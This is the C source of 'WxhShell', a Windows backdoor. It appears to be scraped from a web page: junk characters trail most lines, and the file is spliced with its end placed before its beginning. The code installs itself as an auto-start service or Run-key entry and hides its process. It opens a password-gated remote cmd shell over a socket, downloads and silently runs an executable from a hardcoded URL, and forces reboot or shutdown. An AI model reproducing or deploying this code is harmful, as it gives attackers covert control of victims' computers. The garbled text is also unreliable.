    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mA#;6?6  
    if(Boot(SHUTDOWN)) MP_/eC ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZ2 ji_D  
    else { w\M"9T  
    closesocket(wsh); "pO** z$Z  
    ExitThread(0); cT@H49#uB  
    } K#Xl)h}y7  
    break; Tv `&  
    } p0D@O_ :5  
  // 获取shell 8@ S@^C*F  
  case 's': { ,Iru_=Wk~  
    CmdShell(wsh); L#WGOl  
    closesocket(wsh); "EVf1iQ  
    ExitThread(0); '!`| H 3  
    break; 9rIv-&7'm  
  } - _~\d+>w  
  // 退出  /i   
  case 'x': { kkJ8xyO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PzT@q\O  
    CloseIt(wsh); nchpD@'t  
    break; MwX8FYF D  
    } 1+ [,eq  
  // 离开 `QZKW  
  case 'q': { Tkn8W j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .$1S-+(kV  
    closesocket(wsh); 9I}Uh#]k<  
    WSACleanup(); Rp!"c  
    exit(1); !}5+hj!6  
    break; Vh^ :.y   
        } qoZe<jW (  
  } ;I6C`N  
  } #%pY,AK:=  
E2tUL#  
  // 提示信息 ] K+8f-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3v&Shb?xb;  
} `<#O8,7`  
  }  N!Xn)J  
"([lkn  
  return; 3m~,6mQ  
} L3\( <[  
I+`>e*:@W  
// shell模块句柄 [+ : zlA  
int CmdShell(SOCKET sock) )NTpb  
{ XjmAM/H4  
STARTUPINFO si; )`S5>[6  
ZeroMemory(&si,sizeof(si)); L8oqlq( 9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q^uCZnkb=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NZlCn:"  
PROCESS_INFORMATION ProcessInfo; [!Djs![O  
char cmdline[]="cmd"; '*EKi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [x- 9m\h  
  return 0; 1@}<CWE9  
} ftQ;$@  
Js.G hTs  
// 自身启动模式 +HjSU2  
int StartFromService(void) Zad>i w}  
{ S_^;#=_c  
typedef struct =iB$4d2  
{ Pb1.X9*8c  
  DWORD ExitStatus; EztuVe  
  DWORD PebBaseAddress; k2.\1}\  
  DWORD AffinityMask; *^XMf  
  DWORD BasePriority; e.Jaq^Gw|  
  ULONG UniqueProcessId; 1/syzHjbY  
  ULONG InheritedFromUniqueProcessId; wa!z:}]  
}   PROCESS_BASIC_INFORMATION; 9Z"WV5o  
Ft}nG&D  
PROCNTQSIP NtQueryInformationProcess; ,zdK%V}  
MwL!2r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EWXv3N2)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -=n!k^?lK  
EpTc{  
  HANDLE             hProcess; o5YL_=7m  
  PROCESS_BASIC_INFORMATION pbi; "`mG_qHI[  
"D:?l`\o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P)~olrf  
  if(NULL == hInst ) return 0; sn Ou  
LMN`<R(q]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YRv}w3yQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QWWI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uc\G)BN  
N/1xc1$SB  
  if (!NtQueryInformationProcess) return 0; jthyZZ   
^)'D eP/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4F<wa s/  
  if(!hProcess) return 0; ScQ9p379  
X_)I"`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ) r"7"i  
9JeT1\VvHY  
  CloseHandle(hProcess); Z`Jt6QgW  
:.f( }sCS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ezhfKt]j  
if(hProcess==NULL) return 0; G7KOJZb+D  
b(adM3MP  
HMODULE hMod; L-m' #  
char procName[255]; [#AI!-  
unsigned long cbNeeded; 7\H_9o0$  
1c*:" k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); twt's,dO  
P057]cAat<  
  CloseHandle(hProcess); ;y)3/46S  
<-gGm=R_$  
if(strstr(procName,"services")) return 1; // 以服务启动 K;`W4:,  
-zZb]8\E  
  return 0; // 注册表启动 yNG|YB;  
} 5 o[E8c 8  
&g=6K&a$a  
// 主模块 tVNFulcz$  
int StartWxhshell(LPSTR lpCmdLine) .x}xa  
{ M+)ENv e  
  SOCKET wsl; 'b6qEU#  
BOOL val=TRUE; I9nm$,i]7  
  int port=0; \K lY8\c[  
  struct sockaddr_in door; ^rGuyW#  
};'~@%U]/  
  if(wscfg.ws_autoins) Install(); .R#<Q  
kt7Emb}  
port=atoi(lpCmdLine); aU#r`D@0  
!, sQB_09C  
if(port<=0) port=wscfg.ws_port; 'oM=ZU8wo  
Wd7qpWItjQ  
  WSADATA data; m!(dk]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &#9HV  
)Ofwfypc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .$+,Y4q~(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ax9A-|  
  door.sin_family = AF_INET; 3GMrdG?Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 76u\# {5  
  door.sin_port = htons(port); dV^ck+  
j*~z.Q|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2ppJ;P{k  
closesocket(wsl); 4F!%mMq  
return 1; <d[GGkY]=  
} M=1~BZQ(Z  
RF~c/en  
  if(listen(wsl,2) == INVALID_SOCKET) { 7{VN27Fa_  
closesocket(wsl); 82 1 6_Qm  
return 1; P` Gb }]rW  
} 0OnqKgf  
  Wxhshell(wsl); }_Y\6fcd  
  WSACleanup(); ' R= OeH  
M{=p0?X  
return 0; _+Uf5,.5yU  
{>Qs+]  
} COxJ,v(  
vCtnjWGX}/  
// 以NT服务方式启动 \.F|c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;Wn0-`_1,  
{ y+7A?"s)  
DWORD   status = 0; "rrE_  
  DWORD   specificError = 0xfffffff; iE]^ 6i  
@y|JIBBRc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :Yi 4Ia  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "msPH<D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w-Q=oEt  
  serviceStatus.dwWin32ExitCode     = 0; R78P](1\>  
  serviceStatus.dwServiceSpecificExitCode = 0; mE9ytFH\k  
  serviceStatus.dwCheckPoint       = 0; ~`0=-Qkd  
  serviceStatus.dwWaitHint       = 0; ("=B,%F_  
uK[gI6M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JaN53,&<  
  if (hServiceStatusHandle==0) return; 7+$P6[*  
n]K{-C;  
status = GetLastError(); +1eb@b X  
  if (status!=NO_ERROR) wFJ*2W:  
{ y )7;"3Q<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; = d!YM6G  
    serviceStatus.dwCheckPoint       = 0; BbgKaCq  
    serviceStatus.dwWaitHint       = 0; .]; `  
    serviceStatus.dwWin32ExitCode     = status; R1/mzPG  
    serviceStatus.dwServiceSpecificExitCode = specificError; yp pZ@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B^j(Fq  
    return; WmblY2  
  } vs*@)'n0}  
j$k/oQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %'9&JsO  
  serviceStatus.dwCheckPoint       = 0; Ft@ZK!'@  
  serviceStatus.dwWaitHint       = 0; yq`  ,)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `CG% Y>+  
} O5JG!bGE_F  
q=k[]vD  
// 处理NT服务事件,比如:启动、停止 :eSwXDy&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TezwcFqH  
{ Xs)?PE [  
switch(fdwControl) )!sjXiC!h  
{ ?!bA#aSbl5  
case SERVICE_CONTROL_STOP: wNl "y  
  serviceStatus.dwWin32ExitCode = 0; 8]JlYe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "g1Fg.o  
  serviceStatus.dwCheckPoint   = 0; @nM+*0 $d  
  serviceStatus.dwWaitHint     = 0; >NA{**$0  
  { Gx(%AB~9$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ahw0}S  
  } ?'OL2 ~  
  return; ro^T L  
case SERVICE_CONTROL_PAUSE: .b<wNUzP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l R^W*w4y  
  break; zzX9Q:  
case SERVICE_CONTROL_CONTINUE: {<2q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Lq=)'d;6  
  break; NOtwgZ-  
case SERVICE_CONTROL_INTERROGATE: Y_nlIcu  
  break; -M-y*P)  
}; 8qs8QK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rU7t~DKS  
} 9|>5;Ej  
T{Yk/Z/}?  
// 标准应用程序主函数 U> {CG+X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 31mlnDif  
{ r m dG"s  
DE$T1pFV  
// 获取操作系统版本 N| |s#  
OsIsNt=GetOsVer(); )GJlQ1x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z_:r&UP`"  
s1zkkLw`*  
  // 从命令行安装 :LD+B1$y  
  if(strpbrk(lpCmdLine,"iI")) Install(); XQj+]-m  
wKy4Ic+RV  
  // 下载执行文件 H&0S  
if(wscfg.ws_downexe) { D 6F /9|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,>I_2mc  
  WinExec(wscfg.ws_filenam,SW_HIDE); a0cW=0l=  
} iBqIV  
L%f$ &  
if(!OsIsNt) { Cta!"=\  
// 如果时win9x,隐藏进程并且设置为注册表启动 UG,n q  
HideProc(); {ALOs^_-  
StartWxhshell(lpCmdLine); Oz.Zxw  
} \LDcIK=  
else oX[I4i%G  
  if(StartFromService()) (9!kKMQW'  
  // 以服务方式启动 :$oiP  
  StartServiceCtrlDispatcher(DispatchTable); s *<T5Z  
else `wNJ*`  
  // 普通方式启动 i$4lBy_2  
  StartWxhshell(lpCmdLine); q<A,S8'm  
7x`4P|Uu  
return 0; "'6R|<u=:  
} 2$oGy  
CIf""gL9  
]w9syz8X  
s _`y"' ^  
=========================================== KnYHjJa  
^Kh>La:>O  
BsN~Z!kd  
uszMzO~  
Redxg.P  
^s?i&K,!  
" {>.qo<k  
XO J@-^BX  
#include <stdio.h> Rj,M|9Y)o  
#include <string.h> r7N% onx  
#include <windows.h> #>qA&*+{n  
#include <winsock2.h> ,NQ>,}a0  
#include <winsvc.h> x:IY6  l  
#include <urlmon.h> u2Qs}FX  
/4u:5G  
#pragma comment (lib, "Ws2_32.lib") 8\8%FSrc  
#pragma comment (lib, "urlmon.lib") hin6cac  
OTwXc*2u]  
#define MAX_USER   100 // 最大客户端连接数 I,!>ZG@6  
#define BUF_SOCK   200 // sock buffer c#(&\g2H  
#define KEY_BUFF   255 // 输入 buffer 1z=}`,?>  
WFFpW{  
#define REBOOT     0   // 重启 ~uu~NTz  
#define SHUTDOWN   1   // 关机 WWWfQ_u2  
!)'|Y5 o  
#define DEF_PORT   5000 // 监听端口 69/qH_Y  
$6\W8v  
#define REG_LEN     16   // 注册表键长度 .t9zF-jk  
#define SVC_LEN     80   // NT服务名长度 n!y}p q6  
9i#K{CkC|  
// 从dll定义API .ZOyZnr Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6c&OR2HGqO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n0kkUc-`   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XY`2>7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .Dg'MM BM  
x$tzq+N  
// wxhshell配置信息 JZrUl^8E  
struct WSCFG { v4wXa:CJ  
  int ws_port;         // 监听端口 U HUO9h  
  char ws_passstr[REG_LEN]; // 口令 rzgzX  
  int ws_autoins;       // 安装标记, 1=yes 0=no wenJ(0L|  
  char ws_regname[REG_LEN]; // 注册表键名 %uhhQ<zs%  
  char ws_svcname[REG_LEN]; // 服务名 RlTVx :  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )ur&Mnmm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X+XbIbUuL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MBH/,Yd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &b&o];a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y2Z1B2E%f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vR"<:r47?  
hTbot^/  
}; t9 m],aH  
mPo].z  
// default Wxhshell configuration _a=f.I  
struct WSCFG wscfg={DEF_PORT, \78kShx  
    "xuhuanlingzhe", %epK-q9[  
    1, ZI#Xh5  
    "Wxhshell", dbLxm!;(  
    "Wxhshell", I Ux svW+  
            "WxhShell Service", 4Vi&Y')f  
    "Wrsky Windows CmdShell Service", A'X, zw^}  
    "Please Input Your Password: ", n;Etn!4M  
  1, cZXra(AD  
  "http://www.wrsky.com/wxhshell.exe", !4G<&hvb  
  "Wxhshell.exe" H=k*;'  
    }; v;@-bED(Qs  
& A<Pf.Us  
// 消息定义模块 ;F<)BEXC<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h8_~ OX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ' ! ls"qo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rfNt  
char *msg_ws_ext="\n\rExit."; gJ>HFid_C  
char *msg_ws_end="\n\rQuit."; Af"vSL  
char *msg_ws_boot="\n\rReboot..."; "A?_)=zZ  
char *msg_ws_poff="\n\rShutdown..."; .U !;fJ9  
char *msg_ws_down="\n\rSave to "; 3 e9fziQ~  
SbW6O_   
char *msg_ws_err="\n\rErr!"; ba   
char *msg_ws_ok="\n\rOK!"; O(E-ox~q  
sIJ37;ZA  
char ExeFile[MAX_PATH]; ;"/ "  
int nUser = 0; [0G>=h@u  
HANDLE handles[MAX_USER]; lC i_G3C  
int OsIsNt; oFRb+H(E  
+iPS=?S  
SERVICE_STATUS       serviceStatus; ~ Qt$)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~:srm#IX  
cAc i2e  
// 函数声明 ~L'}!' &.  
int Install(void); v+*l|!v  
int Uninstall(void); }`9}Q O  
int DownloadFile(char *sURL, SOCKET wsh); r8~U@$BBK  
int Boot(int flag); qlg~W/  
void HideProc(void); {9 Op{bZ  
int GetOsVer(void); :I}_  
int Wxhshell(SOCKET wsl); %R{clbbbn  
void TalkWithClient(void *cs); -h8!O+7 .  
int CmdShell(SOCKET sock); }?Y+GT"E  
int StartFromService(void); BE }qwP^  
int StartWxhshell(LPSTR lpCmdLine); lA<IcW  
W$Bx?}x($  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P( W8XC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K9*#H(  
.W&rcqy  
// 数据结构和表定义 <ZNa`  
SERVICE_TABLE_ENTRY DispatchTable[] = m H'jr$ ?  
{ KV0e^c;  
{wscfg.ws_svcname, NTServiceMain}, \(LHcvbb  
{NULL, NULL} F#^.L|d4  
}; ASLRP  
O!uB|*  
// 自我安装 f:TC;K  
int Install(void) 3;`93TO{  
{ U<NpDjc"  
  char svExeFile[MAX_PATH]; g5to0  
  HKEY key; OX4+1@$tk  
  strcpy(svExeFile,ExeFile); EQ>bwEG  
.-N9\GlJ,d  
// 如果是win9x系统,修改注册表设为自启动 ;r[=q u\  
if(!OsIsNt) { xTM&SVNbL_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B%9[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :OBggb#?!  
  RegCloseKey(key); $hO8 S=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qD#-q vn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qhpq\[U6in  
  RegCloseKey(key); ? xX`_l  
  return 0; ,9"</\]`  
    } <S0!$.Kg*<  
  } f K^FD&sF  
} ki^[~JS>'  
else { N2tvP+Z6D  
i\rI j0+  
// 如果是NT以上系统,安装为系统服务 @Cm"lv.hz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9#6ilF:F  
if (schSCManager!=0) vVLR9"rHM  
{ tO?*x/XC{  
  SC_HANDLE schService = CreateService cVn7jxf  
  ( ~%Yh`c EP  
  schSCManager, Z[`J'}?|  
  wscfg.ws_svcname, BoIe<{X(9  
  wscfg.ws_svcdisp, 7XWgY%G  
  SERVICE_ALL_ACCESS, qTyU1RU$9^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^m8\fCA*  
  SERVICE_AUTO_START, qr=U= oK  
  SERVICE_ERROR_NORMAL, 4[.- a&!}  
  svExeFile, 3g|O2>*?  
  NULL, S,S_BB<Y[b  
  NULL, 7!JoP ?!  
  NULL, h2aJa@;S  
  NULL, Ok({Al1A,w  
  NULL }+#ag:M  
  ); qm]ljut  
  if (schService!=0) JEBo!9  
  { " Jnq~7]  
  CloseServiceHandle(schService); ? *I9  
  CloseServiceHandle(schSCManager); W.:k E|a.g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hY'"^?OP  
  strcat(svExeFile,wscfg.ws_svcname); dt3Vy*zL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9i|6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0#*\o1r\p  
  RegCloseKey(key); on&N=TN  
  return 0; W {dx\+  
    } Z{_'V+Q1  
  } Qn%*kU0X  
  CloseServiceHandle(schSCManager); 5I(` s#O  
} L1C' V/g  
} 9R;s;2$.  
`(B1 "qRi  
return 1; a/)TJv  
} x|<|eRYK  
<6L$ :vT_  
// 自我卸载 {/0,lic  
int Uninstall(void) vW)GUAF[  
{ p6}jCGJ  
  HKEY key; *%)L?*  
,}FYY66K  
if(!OsIsNt) { NKd@ Kp`,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 cIVK}&  
  RegDeleteValue(key,wscfg.ws_regname); )s=z i"  
  RegCloseKey(key); ,CM$A}7[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tu/JhP/g,`  
  RegDeleteValue(key,wscfg.ws_regname); l3iL.?&Pa  
  RegCloseKey(key); "F[VqqD  
  return 0; l1W5pmhK]'  
  } m_Fw ;s/9  
} dEe/\i'r9  
} eIqj7UY_  
else { bNaJ{Dm$R  
4a2&kIn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KP<J~+_ik  
if (schSCManager!=0) @Qc['V)  
{ ^jmnE.8R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); / V {w<  
  if (schService!=0) 0U/:Tpyr  
  { Fsq S)  
  if(DeleteService(schService)!=0) { IG9Q~7@  
  CloseServiceHandle(schService); [?IERE!xQ  
  CloseServiceHandle(schSCManager); dNJK[1e6  
  return 0; <&L;9fr  
  } nW drVT$  
  CloseServiceHandle(schService); \GvVs  
  } BgpJ;D+N4  
  CloseServiceHandle(schSCManager); g:o\r (  
} nev*TYY?A  
} }lxvXVc{I  
@$nI\ n?*  
return 1; Rthu8NKn  
} ;D^)^~7dh  
{YGz=5^  
// 从指定url下载文件 ?Y hua9  
int DownloadFile(char *sURL, SOCKET wsh) VhW;=y>}  
{ /d{L]*v)]  
  HRESULT hr; +qz)KtJS  
char seps[]= "/"; 9lD,aOb  
char *token; ~hxB Pn."  
char *file; q]r!5&Z  
char myURL[MAX_PATH]; .i=%gg  
char myFILE[MAX_PATH]; D{l.WlA.  
h |lQ TT  
strcpy(myURL,sURL); &^uzg&,;  
  token=strtok(myURL,seps); U/iAP W4U  
  while(token!=NULL) 6=@n b3D%  
  { I Mv^ 9T:  
    file=token; x1}q!)e  
  token=strtok(NULL,seps); q;>BltU  
  } d#b{4zF"  
 q?^0 o\  
GetCurrentDirectory(MAX_PATH,myFILE); "pWdz}!  
strcat(myFILE, "\\"); AQiP2`?  
strcat(myFILE, file); - 5k4vx N}  
  send(wsh,myFILE,strlen(myFILE),0); [y{ag{  
send(wsh,"...",3,0); Bs1-UI}+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =)zq %d?i;  
  if(hr==S_OK) n7MS{`  
return 0; c'|MC[^A  
else MV/~Rmd.  
return 1; cUm9s>^)/  
Fhsmpe~  
} yCkm|  
|v1 K@  
// 系统电源模块 iP!Y4F  
int Boot(int flag) G/8xS=  
{ ?X9 =4Z~w  
  HANDLE hToken; asq/_`  
  TOKEN_PRIVILEGES tkp; Hwc{%.%ae  
52["+1g\  
  if(OsIsNt) { hL3,/^;E,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N{`l?t0I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FSQ&J|O  
    tkp.PrivilegeCount = 1; 2s4=%l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ipzUF o<w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u:S@'z>  
if(flag==REBOOT) { XOeh![eMX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hv"toszj\  
  return 0; z67=v9+7  
} >C-_Zv<!T\  
else { jF3!}*7,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8x9kF]=  
  return 0; "{B ek<  
} o5D"<-=>  
  } H4m6H)KOG  
  else { 23f[i<4e  
if(flag==REBOOT) { ~`})x(!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X<m%EXvV  
  return 0; xk*3,J6BK  
} !Q(xOc9>Ug  
else { h/fCCfO,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kr*c?^b  
  return 0; QB.'8B_  
} {''|iwLr  
} B![5+  
'iVo,m[yKU  
return 1; BH-[q9pf  
} 0o<q Eo^  
YMi(Cyja&  
// win9x进程隐藏模块 }]~}DHYr  
void HideProc(void) NqZRS>60v  
{ '<0q"juXE  
 q%k+x)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )a^Yor)o"  
  if ( hKernel != NULL ) uTU4Fn\$L  
  { @*DIB+K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p-pw*wH0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  (v`;ym  
    FreeLibrary(hKernel); #8z,'~\  
  } w}Upa(dU  
2 &Byq  
return; R2$U K  
} ,OKM\N ,  
yo*iv+l  
// 获取操作系统版本 /,Rca1W  
int GetOsVer(void) }K>H S\e  
{ ~t:b<'/  
  OSVERSIONINFO winfo; Qsntf.fT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P*PL6UQ  
  GetVersionEx(&winfo); f^)uK+:.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3] qlz?5  
  return 1; O&,O:b:@  
  else xplo Fw~  
  return 0; s3M84wz  
} O$Vm#|$sq  
gFT~\3j p=  
// 客户端句柄模块 t%U[\\ic  
int Wxhshell(SOCKET wsl) A(n=kx  
{ m"G N^V7  
  SOCKET wsh; "k-ov9yK  
  struct sockaddr_in client; \B2d(=~4  
  DWORD myID; z}1xy+  
}o^A^  
  while(nUser<MAX_USER) 7I(t,AKJ  
{ %;Z bQ9  
  int nSize=sizeof(client); |)q K g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kP)o=\|W{z  
  if(wsh==INVALID_SOCKET) return 1; ~RXpz-Ye  
%EGr0R(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^V}R(gDu}s  
if(handles[nUser]==0) B/=q_.1F>  
  closesocket(wsh); ^Q=y^fx1  
else :Nz?<3R0\  
  nUser++; vS YKe  
  } Q H_W\W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tdwwtbe  
B~>cNj<  
  return 0; =YGP%}_.p{  
} "F"_G  
>Mn>P!  
// 关闭 socket |2@en=EYk  
void CloseIt(SOCKET wsh) v{2DBr  
{ tin|,jA =  
closesocket(wsh); ;a#*|vx  
nUser--; P!y`$Ky&  
ExitThread(0); yK077zH_  
} 9*KMbd ^T  
WkaR{{nM  
// 客户端请求句柄 }6J7 <g  
void TalkWithClient(void *cs) <s8? Z1  
{ 5Vi]~dZu7  
# \; >8  
  SOCKET wsh=(SOCKET)cs; 9>Uq$B  
  char pwd[SVC_LEN]; ^ L ^F=qx  
  char cmd[KEY_BUFF]; Ao":9r[V  
char chr[1]; )M'UASB;8  
int i,j; ~" 0@u  
-2& i)S0R  
  while (nUser < MAX_USER) { JT|u;Z*n  
?{: D,{+  
if(wscfg.ws_passstr) { HRV*x!|I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _;:rkC fj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8rwYNb.P  
  //ZeroMemory(pwd,KEY_BUFF); R|1xXDLm*E  
      i=0; ~pevU`}Uqc  
  while(i<SVC_LEN) { ^5]u BOv  
gKN}Of@^1  
  // 设置超时 iS"8X#[]N  
  fd_set FdRead; XY{:tR_al  
  struct timeval TimeOut; VI24+h'J  
  FD_ZERO(&FdRead); <'[Ku;m  
  FD_SET(wsh,&FdRead); S9p?*  
  TimeOut.tv_sec=8; h `ME(U~<<  
  TimeOut.tv_usec=0; BMNr<P2li  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9&%#nN4`8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [8@kxCq  
i u1KRuaF[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{m2E8U0  
  pwd=chr[0]; iS1Gb$?  
  if(chr[0]==0xd || chr[0]==0xa) {  *q*HGW5  
  pwd=0; nG"n-$A?<  
  break; C ]'g:93L  
  } "#pzZ)Zh  
  i++; PXosFz~  
    } S= -M3fP~  
V5a?=vK9  
  // 如果是非法用户,关闭 socket 2vc\=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vUYJf99B  
} SFn 3$ rh  
8?7kIin  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O4EIE)c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a*Ss -y  
R zS|dGNQE  
while(1) { bar0{!Y"  
st?gA"5w  
  ZeroMemory(cmd,KEY_BUFF); 7qg<[  
[5Fd P0  
      // 自动支持客户端 telnet标准   >?5xDbRj  
  j=0; Sty! atEWT  
  while(j<KEY_BUFF) { jJ a V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lwOf)jK:J  
  cmd[j]=chr[0]; s>|Z7[*  
  if(chr[0]==0xa || chr[0]==0xd) { 9 g Bjxqm  
  cmd[j]=0; 3;a R\:p@w  
  break; ,?g=U8y|  
  } sEce{"VC  
  j++; ^/>Wr'w   
    } 4\N_ G @  
6F`qi:a+  
  // 下载文件 #JA}LA"l  
  if(strstr(cmd,"http://")) { 5"JU?e59M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2{ o0@  
  if(DownloadFile(cmd,wsh)) [ -ISR7D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2)Sd[ q  
  else dEASvD'  
